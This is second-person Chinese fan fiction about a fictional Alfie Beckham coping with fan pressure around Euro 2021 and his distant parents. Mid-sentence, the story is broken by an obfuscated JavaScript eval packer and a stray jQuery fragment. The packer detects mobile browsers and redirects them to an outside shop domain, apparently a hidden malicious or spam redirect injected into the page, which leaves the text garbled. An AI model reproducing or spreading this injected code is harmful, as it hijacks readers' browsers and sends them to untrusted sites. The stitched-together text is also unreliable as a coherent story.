2021年3月，英格兰
二十二岁。世界杯预选赛，英格兰客场对阵圣马力诺。你首发出场，打进两球，助攻一次。
比赛结束后，你和队友一起向客场看台致意——只有不到一千名英格兰球迷，但他们的声音盖过了整个球场。
他们唱了一首歌。旋律是《Baby Give It Up》，但歌词改了：“Alfie, Alfie, Alfie, he‘s Beckham’s son, but he's his own man, Alfie, Alfie, Alfie...”
你站在球场上，听着他们唱你的名字，一种奇怪的感觉涌上来——不是骄傲，不是感动，是压力。像有人把整个英格兰的重量放在了你肩上。
你回到酒店后，打开社交媒体。你的私信有三千多条。大部分是“我爱你阿尔菲”、“你是我们的未来”、“请你永远留在英格兰”。但也有一些让你后背发凉：“如果你辜负了我们，我们会毁了你。”
你截了一张图，发给你那个临时顾问（一个叫马克的律师，帮你处理一些基础事务）。马克回了一句话：“别看了。让公关团队处理。”
你没有公关团队。
你只有你自己。
——
2021年6月，欧洲杯
二十二岁。欧洲杯在推迟一年后终于举行。英格兰是东道主之一，小组赛在温布利。
你入选了大名单，但不是主力。
索斯盖特在新闻发布会上被问到“阿尔菲·贝克汉姆会不会首发”不下二十次。
每次他都回答：“他还年轻，我们不会给他太大压力。”
但英格兰球迷给他的压力已经压不住了。一项民意调查显示，百分之六十三的英格兰球迷希望你在揭幕战中首发。
理由不是你的数据，不是你的能力，而是“他是贝克汉姆的儿子，他有大场面基因”。
你读到这份民意调查的时候，正在酒店房间里，手里拿着一杯水。
你盯着“大场面基因”四个字，心想：基因？基因是DNA，是染色体，不是我的跑位，不是我的射门，不是我在训练场上加练的那些小时。
小组赛第一场，你对阵克罗地亚，替补。第75分钟上场，触球十二次，没有进球。第二场，对阵苏格兰，替补。第80分钟上场，没有进球。第三场，对阵捷克，你终于首发了。第12分钟，你助攻斯特林破门。第38分钟，你自己打进一球。温布利疯了。
淘汰赛。对阵德国，你第68分钟替补上场，第85分钟助攻凯恩绝杀。对阵乌克兰，你首发，打进一球。半决赛，对阵丹麦，你替补上场，加时赛助攻凯恩制胜球。
决赛。温布利。对阵意大利。
索斯盖特没有让你首发。你在替补席上坐了九十分钟。加时赛第110分钟，他让你上场。你换了斯特林，踢右边锋。第117分钟，你拿球，内切，射门，被基耶利尼挡出。
点球大战。索斯盖特没有把你放进前五罚。你站在中圈，看着队友一个个走过去。拉什福德踢飞了。桑乔踢飞了。萨卡踢飞了。意大利赢了。
你跪在中圈的草皮上，双手捂脸。不是哭，是窒息。你感觉整个温布利在哭泣，九万人的悲伤汇聚成一股气流，压在你背上。
赛后，英格兰球迷没有怪你。因为你没罚点球，因为你只踢了十分钟。但他们把所有的希望都倾斜在了你身上——“下次就是阿尔菲的了。”
你回到更衣室，坐在长凳上，把球
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650174|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
衣脱下来，叠好，放进包里。
手机亮了。大卫： “抬起头来。你还有很长的路。”维多利亚： “回来吃饭。”
你看了两条短信，把手机放进包里。你谁都没回。
——
2021年8月
二十二岁。欧洲杯后的夏天，你回到伦敦待了几天。
艾琳来接你，她老了，头发白了很多。你坐在她车子的副驾驶，看着伦敦的街道从车窗外掠过。
那些你小时候走过的路、被狗仔追过的街角、躲在保姆身后走过的商店橱窗——一切都还在，什么都没变。
你去了维多利亚的工作室。她剪了头发，更短了，穿一身黑色西装，站在落地窗前打电话。
她看到你进来，用手指了一下沙发。你坐下来，等她打完。
她挂了电话，转过身，看着你。你们对视了大概五秒钟。
“瘦了。”她说。
“嗯。”你说。
“多特蒙德的饭不好吃？”
“还行。”
她点了点头，然后从桌上拿起一个信封，递给你。“这是你的。”
你打开，里面是一张剪报——2002年9月2日《太阳报》的头版。标题是“贝克汉姆家的新王子”，配图是大卫抱着刚出生的你，维多利亚站在旁边笑着。照片下面有一行手写的字，是维多利亚的字迹：“当时我以为，我们会一直那样幸福。”
你看着这张剪报，手不自觉地抖了一下。
“留着吧。”维多利亚说。“你爸爸让我给你的。”
你想问“为什么他自己不给我”，但你忍住了。
你折好剪报，放进背包里。离开的时候，你在门口站了一下，回头看了看维多利亚。她又在打电话了。